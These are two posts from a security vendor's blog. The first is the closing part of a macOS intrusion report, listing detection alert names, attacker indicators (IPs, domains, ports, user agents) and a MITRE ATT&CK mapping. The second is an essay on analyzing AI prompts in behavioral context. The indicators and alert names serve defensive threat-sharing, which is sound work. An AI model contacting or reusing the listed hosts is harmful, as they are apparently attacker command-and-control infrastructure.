Furthermore, in cases where a device was deemed to have carried out a significant number of anomalous activities, Darktrace enforced a “pattern of life” on the device, preventing it from deviating from its expected behavior while allowing legitimate business operations to continue uninterrupted.

Figure 10: Autonomous Response actions implemented by Darktrace in response to suspicious connectivity in April, including the “Enforce Pattern of Life” action.

Conclusion

macOS intrusion tradecraft continues to shift toward native tooling and lightweight control channels designed to evade signature-led controls.

The repeated convergence of rare destinations, POST-based signaling, and anomalous client behavior — observed across time and across devices — provided sufficient evidence to act early and with confidence.

As macOS tradecraft continues to evolve, the defender advantage increasingly lies not in signatures, but in the ability to reason from behavior.

Credit to Justin Torres (Senior Cyber Analyst), Nathaniel Jones (VP, Security & AI Strategy, FCISO)

Edited by Ryan Traill (Content Manager)

Appendices

Darktrace Model Alert Coverage:

/ NETWORK-based model alerts:

·       Anomalous Connection::Multiple HTTP POSTs to Rare Hostname

·       Anomalous Connection::Rare External SSL Self-Signed

·       Anomalous Connection::Powershell to Rare External

·       Anomalous Connection::New User Agent to IP Without Hostname

·       Anomalous Connection::Posting HTTP to IP Without Hostname

·       Compromise::Fast Beaconing to DGA

·       Compromise::Large Number of Suspicious Failed Connections

·       Device::Anomalous Github Download

·       Device::New PowerShell User Agent

·       Unusual Activity::Unusual External Data to New Endpoint

/ NETWORK-based Autonomous Response model alerts:

·       Antigena / Network::Significant Anomaly::Antigena Significant Anomaly from Client Block

·       Antigena / Network::Significant Anomaly::Antigena Controlled and Model Breach

·       Antigena / Network::Significant Anomaly::Antigena Breaches Over Time Block

Indicators of Compromise (IoCs)

IP/Hostname:

·       zoom[.]uswebob[.]us · 148.72.73[.]98

·       83.136.208[.]246

·       check02id[.]com · 83.136.210[.]180

·       83.136.208[.]48

·       104.145.210[.]107

URIs:

·       /api/daemon

Destination Port Usage:

·       6783

·       5202

·       443

·       7365

·       8443

ASN:

·       AS400897 PETROSKY

·       AS398256 AS-ULTAHOST

User agents:

·       Mozilla/5.0 (Windows NT; Windows NT 10.0; fr-FR) WindowsPowerShell/5.1.26100.7920

·       Go-http-client/1.1

·       curl/8.7.1

MITRE ATT&CK Mapping

(Technique Name - Tactic - ID - Sub-Technique of)

·       Browser Session Hijacking - COLLECTION - T1185

·       Web Protocols - COMMAND AND CONTROL - T1071.001 - T1071

·       Install Digital Certificate - RESOURCE DEVELOPMENT - T1608.003 - T1608

·       PowerShell - EXECUTION - T1059.001 - T1059

·       Domain Generation Algorithms - COMMAND AND CONTROL - T1568.002 - T1568

·       Non-Standard Port - COMMAND AND CONTROL - T1571

·       Malware - RESOURCE DEVELOPMENT - T1588.001 - T1588

·       Web Service - COMMAND AND CONTROL - T1102

·       Code Repositories - COLLECTION - T1213.003 - T1213

·       Exploitation of Remote Services - LATERAL MOVEMENT - T1210

·       Exfiltration Over C2 Channel - EXFILTRATION - T1041

·       Exfiltration to Cloud Storage - EXFILTRATION - T1567.002 - T1567

References:

[1] https://www.microsoft.com/en-us/security/blog/2026/04/16/dissecting-sapphire-sleets-macos-intrusion-from-lure-to-compromise/

[2] https://radar.securityalliance.org/advisory-on-dprk-unc1069-fake-microsoft-teams-and-zoom-calls/

[3] https://www.virustotal.com/gui/domain/uswebob.us

[4] https://www.virustotal.com/gui/ip-address/83.136.210.180/community

[5] https://www.virustotal.com/gui/ip-address/104.145.210.107/community

[6] https://www.virustotal.com/gui/ip-address/83.136.208.48/community

[7] https://www.virustotal.com/gui/ip-address/83.136.208.246/community

[8] https://www.darktrace.com/blog/applescript-abuse-unpacking-a-macos-phishing-campaign

Continue reading
About the author
Justin Torres
Cyber Analyst

Blog

/

AI

/

June 25, 2026

A New Security Challenge: The Curious Case of Prompt Language Analysis

Default blog imageDefault blog image

Why prompt analysis is emerging as a key AI security challenge

If securing AI has been one of the defining cybersecurity conversations of the past year, prompt analysis is quickly becoming one of its most interesting frontiers.

Security leaders are under pressure to understand how AI is being used across the business. In some organizations, that means governing employee use of chatbots. In others, it means overseeing copilots embedded into SaaS platforms, monitoring coding assistants, or assessing the growing footprint of autonomous agents. However different these use cases may appear on the surface, they share a common factor: humans and machines are usually interacting with enterprise systems through language.  

How prompt language differs from traditional security telemetry

For years, defenders have become used to working with familiar forms of telemetry: email traffic, network connections, API calls, endpoint processes, authentication events. Prompt language is different. It is not simply another log source. It is an expression of intent, instruction, curiosity, urgency, and sometimes manipulation. It reflects the end-goal of a user or agent, but not always with enough surrounding context to interpret the risk correctly.

Why existing security approaches only partially explain prompt risk

A growing number of vendors are approaching the task of securing AI from the angle they know best. Perimeter vendors are extending web or browser controls into AI usage. Identity vendors are emphasizing agent permissions and access governance. Data security and DLP providers are focusing on content inspection and exfiltration risk. All of these perspectives matter, but individually can’t fully explain the problem.

The challenge with securing AI is not just that a new application category has emerged. It is that language has become a new operating layer in the enterprise.

Employees now use prompts to summarize documents, generate code, analyze spreadsheets, query internal knowledge, and trigger multi-step actions through agents. In each case, prompt language acts as the interface between human intent and machine execution. That makes prompts incredibly valuable from a security perspective as they can hint at misuse, policy violations, data exposure, or attempts to circumvent controls. However, they can also be deeply ambiguous when viewed in isolation. That ambiguity is the heart of the issue.

Prompts as behavioral signals, not just text to classify

A prompt by itself tells you what was asked. It does not necessarily tell you whether the request is expected, risky, accidental, or entirely legitimate in context. Two nearly identical prompts can carry very different meanings depending on the role and function of who issued them, what systems they can access, and what actions followed. In other words, prompts are not just text to classify. They are behavioral signals to interpret.

Example: How context changes prompt risk entirely

Consider a common enterprise scenario. An employee is pulled into a new project with an aggressive deadline. Almost overnight, their use of AI tools spikes. They begin prompting more frequently, working across unfamiliar documents, querying new data sources, and interacting with more systems than usual to accelerate delivery. Viewed narrowly, this may look suspicious. Prompt volume increases, file access patterns change, API and SaaS activity rise. From some vantage points, it may resemble insider risk or unmanaged AI usage.

But now add context. Imagine that, earlier that day, the employee received instructions from a senior leader asking them to support a time-sensitive initiative. Their communication history shows that this leader is a legitimate reporting-line superior. Their recent collaboration patterns align with the new project team. Their subsequent activity, while unusual for that individual’s baseline, is consistent with the business task they were assigned.

What initially looked like a risk event may actually be a normal response to business pressure. Without the surrounding context of communication, organizational relationships, and broader behavioral patterns, prompt activity alone could generate more noise than insight.

The reverse is also true. A prompt may appear benign on the surface while the context around it suggests elevated risk. A request that seems routine could originate from a compromised user, a newly connected external agent, a shadow AI workflow, or a user acting outside their normal role. The language itself may not contain anything obviously malicious, but the surrounding conditions may tell a very different story.

What security teams need to analyze prompts effectively

The future of prompt analysis is not just about understanding language. It is about understanding language in context.

To do that well, security teams need more than prompt inspection. They need to understand:

  • Who is issuing the prompt, whether human or agent
  • How that identity normally behaves across the enterprise
  • What systems, data, and workflows are connected to the interaction
  • Which relationships and communications explain the surrounding activity
  • Whether the downstream actions align with expected business behavior

When those layers are absent, prompt analysis can become another isolated control surface: useful in theory, but limited in practice. Security teams may detect unusual wording but miss the operational function behind it, overreact to benign changes in behavior, or miss subtle misuse because the prompt itself did not appear dangerous.

How organizations should think about prompt analysis going forward

Security teams have seen this pattern before. In the cloud, posture without runtime context left important gaps. In identity, access control without behavioral understanding missed misuse that looked legitimate on paper. In data security, content inspection without business context often created friction without resolving risk. AI is exposing the same lesson again: controls are strongest when they are coordinated, not isolated. As organizations work to secure AI and identify gaps across their security operations, prompt analysis will become an increasingly important source of insight, but only as part of a broader strategy.

Prompt analysis will undoubtedly become more common, as prompts are one of the clearest windows into how people and agents are using AI systems. However, what matters most is not simply collecting prompts or filtering dangerous phrases, but being able to place that language inside a wider behavioral and operational picture.

Organizations that already have a broader understanding of how work gets done across the enterprise will be better positioned to make sense of prompt language as this category matures. They will be better able to distinguish urgency from abuse, experimentation from exfiltration, and productive AI adoption from hidden risk.

Figure 1: Darktrace / SECURE AI reconstructs the full sequence of events, showing every user and agent interaction in context, with risky prompts highlighted and categorized, including PII, sensitive data, and other policy violations.

At Darktrace, this is the key lesson emerging from the market: prompt language does matter, but it does not stand alone. It is most valuable when treated as a new behavioral input that can enrich understanding across the enterprise, not as a self-contained source of truth.

Why prompts become less useful when analyzed in isolation

The curious case of prompt language analysis, then, is this: the more important prompts become, the less useful they are in a vacuum.

The real opportunity is not just to see what was asked. It is to understand why it was asked, what it meant in that moment, and what happened next.

For a deeper look at how organizations are approaching this challenge from the strengths of prompt analysis to its limitations in isolation see Prompt Security in Enterprise AI: Strengths, Weaknesses, and Common Approaches, which expands on the role prompt-level controls play within a broader, context-driven security strategy.

Continue reading
About the author
Nabil Zoldjalali
VP, Field CISO
Your data. Our AI.
Elevate your network security with Darktrace AI